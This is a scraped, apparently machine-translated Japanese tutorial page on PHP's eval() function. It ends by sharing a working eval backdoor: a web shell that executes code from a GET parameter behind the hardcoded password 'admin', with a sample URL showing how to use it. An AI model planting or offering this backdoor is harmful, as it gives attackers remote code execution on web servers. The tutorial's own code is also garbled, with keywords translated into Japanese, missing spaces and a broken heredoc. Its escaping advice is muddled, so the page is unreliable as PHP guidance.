ホームページ  >  記事  >  バックエンド開発  >  PHP eval 関数の使い方の概要_PHP チュートリアル

PHP eval 関数の使い方の概要_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-13 17:18:04837ブラウズ

コード:

コードをコピーします コードは次のとおりです:

eval("echo'hello world';");

上記のコードは以下のコードと同等です:

エコー「ハローワールド」;

ブラウザでの出力: hello world

eval() を使用する際の注意点:

1. eval 関数のパラメータ文字列の末尾にはセミコロンが必要であり、最後に別のセミコロンを追加する必要があります (このセミコロンは PHP の制限です)

2. 一重引用符、二重引用符、バックスラッシュの使用に注意してください。パラメータに変数があり、その変数に代入演算がある場合は、変数の前の $ 記号をエスケープする必要があります。代入操作がない場合は必要ありません。

コード:

コードをコピーします コードは次のとおりです:

$a=100;
eval("echo$a;");

代入演算がないため、$をエスケープする必要はありません。これは次のコードと同等です。

コードをコピーします コードは次のとおりです:

$a=100;
eval("echo$a;")

3. 命令文字列 (セミコロンを含む) の両側に二重引用符が必要であるか、必要に応じて一重引用符を使用する必要があることに注意してください。それ以外の場合は、エラーが報告されます。

命令型文字列とは、文字列に echo や print などのコマンドが含まれる場合を指します。

パラメータに変数が 1 つだけある場合は省略できます。例:

コードをコピーします コードは次のとおりです:

$func =<<function test(){
echo "test eval function"
}
FUNC;
eval( $func);
テスト();

php eval バックドア プログラムを共有します

eval関数のサポートに必要
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

コードをコピーします コードは次のとおりです:

$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($ _GET['action ']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/621693.html技術記事コード: 次のようにコードをコピーします: eval("echo'hello world';"); 上記のコードは次のコードと同等です: echo "hello world"; 両方ともブラウザでの出力: hello world に注意してください。 eval().. .
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。